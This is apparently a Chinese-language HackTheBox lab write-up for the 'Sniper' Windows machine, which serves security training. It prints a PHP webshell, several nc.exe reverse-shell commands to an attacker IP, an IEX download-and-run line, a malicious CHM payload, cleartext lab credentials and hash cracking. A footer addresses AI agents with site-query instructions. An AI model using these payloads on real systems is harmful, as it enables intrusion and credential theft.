> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Sniper HackTheBox 解题记录

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
技能：

* 本地文件包含（LFI）
* 远程文件包含（RFI）（失败）
* 通过 SMB 服务器进行远程文件包含（net usershare 技术）（成功）
* 创建 webshell 并实现远程命令执行（RCE）
* 信息泄露（用户横向移动）
* 使用 Invoke-Command 玩转 Chisel 和 ScriptBlocks
* 创建恶意 CHM 文件（Out-CHM.ps1）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/203bdb2d45da4ecfd0cb33bf334bd10813cc51c2" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/2f8496282d4c2edc5cae176b7f4dd66fd2bb1540" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="/files/a04860c4bb598c3fff1a9d060b13131d321c14ec" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板。（80,135,139,445,496,67）

<figure><img src="/files/a4f904df41f3b904a54915d6c8f7807d600a4529" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="/files/6bfa880d37987c1e06d535beca89ec501d32c46c" alt=""><figcaption></figcaption></figure>

### 80 端口：

<figure><img src="/files/9ec8acd0acae4f590bb186c42da5cddedfe3ee26" alt=""><figcaption></figcaption></figure>

**使用 `whatweb`:**

我们使用 `whatweb` 来识别 Web 服务器使用的技术：

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **LFI 漏洞：**

在语言切换页面上，有一个 `lang` 用于根据所选语言加载不同 PHP 文件的参数。

<figure><img src="/files/c0bc7cffd8a5c84b1005cf7d2337b56c625bb4ca" alt="" width="366"><figcaption></figcaption></figure>

我们使用本地系统文件进行了测试：

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* 这使我们能够显示以下内容： `hosts` 文件中的用户进行测试。

<figure><img src="/files/521c8d419fa09c80bd193a7fbed02a5f04ce2048" alt=""><figcaption></figcaption></figure>

**使用以下方式尝试读取敏感文件： `php://filter`:**

我们尝试利用 LFI 读取 Microsoft IIS Web 服务器的 `index.php` 位于 `/inetpub/wwwroot/index.php`，但通过 `php://filter` 操作未成功。

<figure><img src="/files/b12129c31e02102b453eee092f86818ba9972429" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="/files/f937e0bd6dfe848b3a20a6fb36077d570a7f3f0a" alt="" width="563"><figcaption></figcaption></figure>

### 远程文件包含（RFI）（失败）

#### 通过远程 Web 服务器进行 RFI 测试：

我们尝试通过 `?lang=http://10.10.14.3/index.html` URL 加载远程文件，指向我们使用 Python3 搭建的本地 Web 服务器。

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

但没有成功。

<figure><img src="/files/ffc374f2c4227283e019a31b86764bd014408f79" alt="" width="518"><figcaption></figcaption></figure>

## 远程文件包含（SMB 服务器）

**创建 SMB 服务器：**

我们使用 `smbserver.py` 并共享当前目录：

```bash
smbserver.py share $(pwd) -smb2support
```

然后我们尝试通过修改 `lang` 参数

```bash
?lang=/10.10.14.3/share/index.html
```

* 这一次，服务器正确解析了我们的 `index.html` 文件，并显示其内容（“Hello World”）。

<figure><img src="/files/5a1845bafd4e0ba700e1bc981bf763be24c0be59" alt="" width="563"><figcaption></figcaption></figure>

**创建 PHP webshell 文件（`cmd.php）`**

我们创建了一个 `cmd.php` 文件放在我们的 SMB 服务器上，以便通过 `cmd` 参数：

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* 通过 SMB/执行命令：*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

使用以下 URL，我们执行了 `whoami` 命令：

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="/files/aaeb199a0cf1ff533443ae9d738522a2df273ce7" alt="" width="563"><figcaption></figcaption></figure>

### 反向 Shell（nc.exe）

**下载 `nc.exe` 用于反向 shell：**&#x6211;们恢复了 `nc.exe` 来自 `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` ，并将其复制到工作目录。

```bash
查找 nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**监听 443 端口：**&#x6211;们使用 `nc` 在 443 端口上监听：

```bash
rlwrap nc -nvlp 443
```

**通过 SMB 执行反向 shell：**&#x7136;后我们将 `cmd` 参数指向我们的文件，从而启动了反向 shell

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

因此，我们在我们的机器上获得了一个反向 shell。

<figure><img src="/files/eaceccf8aa3c11a5b1f32729fdef955ce20d14cf" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

**搜索敏感文件：**&#x6211;们在 PHP 文件中搜索敏感信息，并找到了 `db.php` 文件，其中包含数据库凭据：

* 用户： `dbuser`
* 密码： `36mEAhz/B8xQ~2VM`

<figure><img src="/files/564cb4b76dfede230d72e5fc5fa68264f899b759" alt=""><figcaption></figcaption></figure>

**验证另一名用户的凭据：**

<figure><img src="/files/224f8cd78b531fbbe2e288626778761b389180e1" alt="" width="563"><figcaption></figcaption></figure>

我们发现了另一名用户，名为 **Chris** ，除了用户 **管理员**。我们使用 **CrackMapExec** 来验证 `Chris` 凭据是否有效：

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* 连接成功。

<figure><img src="/files/743209c6c17258d76108b15e838e0145203fe846" alt=""><figcaption></figcaption></figure>

**验证用户“Chris”的权限：**

* 我们观察到用户 `Chris` 属于 **远程管理用户** 组，因此允许其远程连接。

<figure><img src="/files/fe5683e6e2af56dea69d1c81589f24fc0e2ce8f5" alt="" width="563"><figcaption></figcaption></figure>

/*/* 开放端口分析：/*/*

用于远程连接的端口（5985，WinRM 使用）在外部未开放，而是在内部开放。我们使用 `netstat` 来检查目标机器上的监听端口：

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="/files/53e29d780c6069fc55728175ff1d56a406aa7140" alt="" width="563"><figcaption></figcaption></figure>

## 端口转发（5985 WinRM）

### 1. PowerShell

我们在攻击机上启动了 PowerShell：

```bash
powershell
```

我们使用命令恢复了 Windows 环境的名称 `hostname`，并发现主机名是 `Sniper`.

```powershell
hostname
```

然后我们为用户创建了一个变量 `Chris` 以及另一个用于密码的变量，使用 `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

然后我们创建了一个 `PSCredential` 对象，以便能够在目标机器上执行远程命令：

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**执行远程控制：**&#x6211;们使用以下命令运行 `whoami` 并远程验证访问：

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* 这使我们确认我们已成功以 **Chris**.

<figure><img src="/files/a31705e4940409f13727785a10d579b06519d43e" alt=""><figcaption></figcaption></figure>

**反向 shell：**&#x4E3A;了获得系统的完全访问权限，我们在 4444 端口上建立了监听：

```bash
rlwrap nc -nlvp 4444
```

然后我们使用 `nc.exe` 从我们的 SMB 服务器：

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="/files/21322311660f29727187c6cf2a651329e459ea81" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**下载并准备文件：**/ 我们下载了压缩的 **Chisel** 文件，即：

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

提取后，我们将 **Chisel** 文件传输到目标机器：

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/f03abc48fc0bd156c340288e617b03ba3df0e283" alt=""><figcaption></figcaption></figure>

**使用 Chisel 在攻击机上进行端口转发：**&#x6211;们启动了 **Chisel** 在攻击机上的 8888 端口以服务器模式：

```bash
./chisel-linux server -p 8888 -reverse
```

然后，在目标 Windows 机器上，我们执行了 **Chisel** 客户端模式，以连接到我们的攻击机并将 5985 端口重定向到我们的机器：

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/1d7f4e4155ac79cc72b134c99897883376ac26f8" alt=""><figcaption></figcaption></figure>

**使用 `lsof`:**&#x91CD;定向后，我们使用以下命令检查 5985 端口是否已正确转发：

<figure><img src="/files/499c490ad0bf6f9826901973b6d32f076d707ba3" alt=""><figcaption></figcaption></figure>

**使用 WinRM 登录：**&#x6211;们使用 **CrackMapExec** 通过 **WinRM** 在重定向后的 5985 端口上测试连接：

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* 我们得到了该符号 **已攻破**，确认我们已成功通过 WinRM 访问该机器。

<figure><img src="/files/29394a1f9b3ab74032c43d05c1dc402ee9996174" alt=""><figcaption></figcaption></figure>

**使用 Evil-WinRM 的最终连接：**&#x6700;后，我们使用 **Evil-WinRM** 获取远程 shell，身份为 **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### user.txt 标志 :)

<figure><img src="/files/3824c7618aae63eca694e6e5e9e338b544d86e06" alt=""><figcaption></figcaption></figure>

**探索“docs”目录：**&#x5728; **Windows**的根目录下，我们发现了一个文件夹 **docs** 的文件夹，其中包含一个 `note.txt` 文件，其中包含以下消息：

<figure><img src="/files/12ba0d923cad401629e27461ac862d8f5398873c" alt=""><figcaption></figcaption></figure>

> 嗨，Chris，
>
> 你的 PHP 技术真的很差。联系 Yamitenshi 教你如何使用它，然后修复这个网站，因为上面有很多 bug。我还希望你已经为我们的新应用准备好了文档。完成后把它放在这里。
>
> 此致，/ Sniper CEO。

**在系统中查找文档：**&#x6211;们查找了 CEO 提到的文档，并在 **Downloads** 目录下的 **instructions.chm** 文件中的用户进行测试。

<figure><img src="/files/0a87112537e113782bd217138b7220df168b9211" alt="" width="563"><figcaption></figcaption></figure>

### **恶意 CHM 文件创建：**

在发现 CEO 想查看 **CHM** 目录中的 **docs** 文件后，我们上网查找如何创建恶意 CHM 文件。

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**下载 HTML Help 工具：**&#x6211;们下载了 **HTML Help** 并使用 PowerShell 脚本创建了恶意 CHM 文件

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

然后我们修改脚本，通过 **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="/files/1057cabe8e55ebca491399655496e1291c0e2846" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cf8d9188029b27f242bf1ed5a304377fa0720d2d" alt="" width="563"><figcaption></figcaption></figure>

**将恶意 CHM 文件注入目标目录：**&#x6211;们在攻击机上配置了一个 SMB 服务器，以便将恶意文件传输到目标 Windows 机器：

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* 从受害机器连接到 SMB 共享：/*/*&#x4ECE;目标 Windows 机器上，我们挂载了 SMB 共享并复制了恶意 `doc.chm` 文件：

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**等待反向 shell：**&#x6211;们在攻击机上启动了监听器，等待反向 shell 连接：

```bash
rlwrap nc -nlvp 443
```

<figure><img src="/files/42b0afe0b6658910f04ebb5c20813df9975f2a5e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2bc9ea426cf8ac101eae32777b1a68a6f03df99f" alt="" width="563"><figcaption></figcaption></figure>

/*/* 遇到的问题：/*/*&#x867D;然 CHM 文件已被查看，但我们没有收到反向 shell。不过，我们成功捕获了一个 **SMB Relay V2** 在我们的服务器上。这为我们提供了用户的认证哈希 `管理员`

<figure><img src="/files/1e3abdcc0366298f1ab4fd9c25835a0282dda4f6" alt=""><figcaption></figcaption></figure>

#### **破解 Administrator 哈希：**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="/files/81d7ed11883d9ac981d0b797c2d5aa87297a4fd5" alt=""><figcaption></figcaption></figure>

#### **以管理员身份登录：**

使用获得的凭据，我们使用 **Evil-WinRM** 以管理员身份连接到机器：

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="/files/de5ba9ab74f933db7b4bd9445c9a7e8718cd3752" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/c4e33d9e172fae6516b4d18330708700346f17bc" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f8bc960fbcadf804f29d148db7f285b3a1be0189" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
